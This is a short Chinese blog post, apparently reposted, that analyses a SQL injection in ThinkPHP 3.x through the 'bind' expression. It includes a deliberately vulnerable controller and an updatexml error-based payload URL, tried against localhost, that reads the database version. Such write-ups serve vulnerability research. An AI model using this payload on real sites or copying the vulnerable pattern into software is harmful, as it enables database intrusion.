Thinkphp 3.x bind注入(3)
2021-01-29 03:16
标签：public 条件 upd amp where www 更改 namespace XML 接着上篇 https://www.cnblogs.com/cuocuo/p/14329868.html 当exp为bind的时候，虽然会拼接，但是find()和select()是没办法利用的，我们需要更改一下代码 http://127.0.0.1/?id[0]=bind&id[1]=123&pwd=cuocuo 跟进$this->execute() 可以看到:0已经被替换成cuocuo了，后面的:123怎么办，我们将其改成:0就可以满足替换条件了 http://127.0.0.1/?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)&pwd=cuocuo Thinkphp 3.x bind注入(3) 标签：public 条件 upd amp where www 更改 namespace XML 原文地址：https://www.cnblogs.com/cuocuo/p/14335075.html
php
namespace Home\Controller;
use Think\Controller;
use \Think\Logs;
class IndexController extends Controller {
public function index(){
$User = M("user");
$user[‘Id‘] = I(‘id‘);
$data[‘pwd‘] = I(‘pwd‘);
$value = $User->where($user)->save($data);
var_dump($value);
}
}
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return ‘\‘‘.$that->escapeString($val).‘\‘‘; },$this->bind));
上一篇：ajax之最简说明
文章标题：Thinkphp 3.x bind注入(3)
文章链接：http://soscw.com/index.php/essay/48498.html